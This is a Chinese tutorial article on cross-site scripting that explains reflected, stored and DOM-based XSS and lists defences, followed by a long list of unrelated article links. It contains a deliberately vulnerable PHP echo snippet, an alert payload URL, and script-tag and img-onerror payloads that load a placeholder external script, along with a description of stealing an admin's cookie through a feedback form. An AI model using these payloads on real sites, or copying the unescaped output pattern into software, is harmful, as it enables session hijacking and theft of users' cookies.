XSS跨站脚本攻击
XSS跨站脚本攻击
每日更新前端基础,如果觉得不错,点个star吧 ? https://github.com/WindrunnerMax/EveryDay
跨站脚本攻击XSS
,是最普遍的Web
应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
类型
- 反射型
XSS
: 攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS
代码,所谓反射型XSS
就是将恶意用户输入的js
脚本,反射到浏览器执行。 - 存储型
XSS
:代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
,也被称为持久型XSS
。 -
DOM
型XSS
:类似于反射型XSS,但这种XSS
攻击的实现是通过对DOM
树的修改而实现的。
原理
当动态页面中插入的内容含有这些特殊字符如<
时,用户浏览器会将其误认为是插入了HTML
标签,当这些HTML
标签引入了一段JavaScript
脚本时,这些脚本程序就将会在用户浏览器中执行。当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS
漏洞。
攻击者可以使用户在浏览器中执行其预定义的恶意脚本,劫持用户会话,插入恶意内容、重定向链接、使用恶意软件劫持用户浏览器等等。
基于反射型XSS
漏洞,欺骗用户点击以执行js
代码,可以盗取cookie
等
// 直接将输入打印到页面,造成XSS
<?php
$XssReflex = $_GET['i'];
echo $XssReflex;
<!-- 构造url,点击后就可以执行js代码 -->
http://127.0.0.1/xss.php?i=<script>alert("run javascript");</script>
基于存储型XSS
漏洞,将js
代码存储于服务器数据库中,服务器直接查询数据库数据显示到页面,即造成XSS
最经典的存储型XSS
漏洞是留言板,当用户A在留言板留言一段JS
代码<script>alert("run javascript");</script>
,后端未经过滤直接存储到数据库,当正常用户浏览到他的留言后,这段JS
代码就会被执行,可以借此来盗取cookie
graph LR 恶意用户A --> 构造JS代码 构造JS代码 --> 服务器数据库 服务器数据库 --> 正常用户B显示页面 服务器数据库 --> 正常用户C显示页面 服务器数据库 --> 正常用户...显示页面 正常用户B显示页面 --> 执行js盗取cookie 正常用户C显示页面 --> 执行js盗取cookie 正常用户...显示页面 --> 执行js盗取cookie
基于DOM
的型XSS
漏洞类似于反射型XSS
,但其变化多端,总之一句话,各种姿势,各种插,只要能执行我的Js
,利用<script>
、<img>
等标签允许跨域请求资源。
经典案例是可以将标签写入到软件的意见反馈中,当管理员查看留言的反馈即触发XSS
,传递cookie
与后台管理地址后就可以登录到后台了。
<script scr="js_url"></script>
<img src=1 onerror=appendChild(createElement('script')).src='js_url' />
防御
- 在用户提交参数前,将提交的字符
<
、>
、&
、"
、'
、+
、/
等进行转义,严格控制输出 - 将输入转化为小写对比
javascript:
,若匹配则过滤 - 将
cookie
设置为http-only
,js
脚本将无法读取到cookie
信息 - 纯前端渲染,明确
innerText
、setAttribute
、style
,将代码与数据分隔开 - 避免不可信的数据拼接到字符串中传递给这些
API
,如DOM
中的内联事件监听器,location
、onclick
、onerror
、onload
、onmouseover
等,<a>
标签的href
属性,JavaScript
的eval()
、setTimeout()
、setInterval()
等,都能把字符串作为代码运行。 - 对于不受信任的输入,都应该限定一个合理的长度。
- 严格的
CSP
,禁止加载外域代码,禁止外域提交,禁止内联脚本执行等较为严格的方式
- Leetcode-Easy 412. Fizz Buzz
- 洛谷P2678 跳石头
- 洛谷P2863 [USACO06JAN]牛的舞会The Cow Prom
- 洛谷P1908 逆序对(归并排序)
- 洛谷P1137 旅行计划
- 洛谷P1722 矩阵 II
- 洛谷P1976 鸡蛋饼
- 洛谷P1420 最长连号
- 各种读入方式速度比较
- 美团NLP实习面试总结一 基本知识4 数据结构二 NLP相关技术1 LSTM2 介绍实体链接与实体映射3 解释随机游走的原理及作用4 命名实体识别
- 【下载】苹果发布Turi Create机器学习框架,5行代码开发图像识别
- codevs 4163 hzwer与逆序对
- ASP.NET Core提供模块化Middleware组件
- CSS预处理器的对比 — sass、less和stylus
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 关于linux权限s权限和t权限详解
- centOS7 桥接模式设置静态Ip的方法步骤
- linux环境下卸载oracle 11g的过程
- Seurat包基本分析实战—文献图表复现
- ubuntu配置tftp服务的步骤小结
- CentOS7下GitLab跨大版本升级的方法
- 解决Linux system v 共享内存问题
- Linux下core文件的使用方法详解
- 使用Kubeadm在CentOS7.2上部署Kubernetes集群的方法
- linux systemctl命令详解
- CentOS7使用dnf安装mysql的方法
- Linux中crontab定时任务不执行的原因
- Linux系统为什么要吃掉我的“内存”
- 教你如何修改Linux远程登录欢迎提示信息
- 详解linux 定时任务 crontabs 安装及使用方法